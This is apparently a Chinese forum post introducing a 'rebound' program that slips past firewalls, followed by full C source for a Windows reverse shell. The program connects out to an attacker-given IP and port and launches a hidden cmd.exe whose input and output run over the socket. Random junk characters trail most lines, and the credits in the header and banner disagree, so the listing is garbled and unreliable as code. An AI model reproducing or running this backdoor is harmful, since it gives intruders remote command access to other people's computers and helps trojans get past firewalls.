这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c{z$^)A/
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/* ============================== s]arNaaA
Rebound port in Windows NT /^.|m3
By wind,2006/7 sV\_DP/l
===============================*/ }E'0vf/
#include * {g3ia
#include |=?#Xbxz
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#pragma comment(lib,"wsock32.lib") d9N[f>
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void OutputShell(); T$4{fhV
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SOCKET sClient; YH&=cI@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; __=H"UhWv
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void main(int argc,char **argv) Z_d"<k}I
{ iOE. .xA:
WSADATA stWsaData; Vwkvu&4
int nRet; ).T&fa"
SOCKADDR_IN stSaiClient,stSaiServer; 8nz({Mb9Z
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if(argc != 3) /jbAf ]"F;
{ T]#V
printf("Useage:\n\rRebound DestIP DestPort\n"); nxLuzf4U5
return; oMh$:jR $
} g'0CYY
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WSAStartup(MAKEWORD(2,2),&stWsaData); Dl,QCZeM
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $TQhr#C]
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stSaiClient.sin_family = AF_INET; Ndmt$(b
stSaiClient.sin_port = htons(0); y<)TYr
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -YRIe<}E -
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aZfMeW
{ rzjVUPdnh
printf("Bind Socket Failed!\n"); tFN >]`Z
return; 0-2|(9
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} i\R0+O{
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stSaiServer.sin_family = AF_INET; )uPJ?
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mH*ldf;J;=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eA!o#O.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oA1_W).wJ
{ u9lZHh#V-
printf("Connect Error!"); kfy!T rf
return; 4S_ -9&z
} 1{}p_"s>
OutputShell(); IwYeKN6s
} <izQ]\kL
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void OutputShell() ! 'zd(kv<
{ 6j#JhcS+
char szBuff[1024]; .*O*@)}Ud
SECURITY_ATTRIBUTES stSecurityAttributes; tUn>=>cWP
OSVERSIONINFO stOsversionInfo; d}
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wxN)dB
STARTUPINFO stStartupInfo; N&9o 1_}
char *szShell; _O9V"DM
PROCESS_INFORMATION stProcessInformation; tgRj8
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unsigned long lBytesRead; MKK ^-T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @W,jy$U
stSecurityAttributes.lpSecurityDescriptor = 0; @gUp9ZwtH
stSecurityAttributes.bInheritHandle = TRUE; xtV+Le%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b)wcGBS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P_bB{~$4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Hv,|XE@Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qg> NJ\*Q
stStartupInfo.wShowWindow = SW_HIDE; ~!S3J2kG{
stStartupInfo.hStdInput = hReadPipe; d;i|s[6ds`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WBe0^=x
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GetVersionEx(&stOsversionInfo); s t'T._
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switch(stOsversionInfo.dwPlatformId) qwTz7r
{ 1gI7$y+?
case 1: D9rQ%|}S
szShell = "command.com"; JK,MK|
break; sXLW';Fz
default: u{1R=ML
szShell = "cmd.exe"; A40DbD\^ad
break; E)b$;'
} -V$|t<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a ~o<>H
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send(sClient,szMsg,77,0); [8V;Q
while(1)
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{ _H] \
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1"
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if(lBytesRead) JsaXI:%1
{ q^X7x_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4jT6h9%
send(sClient,szBuff,lBytesRead,0); d0J/"<
} 8$FH;=
else mF~T?L"
{ '|yx B')
lBytesRead=recv(sClient,szBuff,1024,0); S"bN9?;#u
if(lBytesRead<=0) break; jkeerU6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G?Et$r7:R
} bpu`'Vx
} LKN7Lkl
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return; uWS]l[Ga
}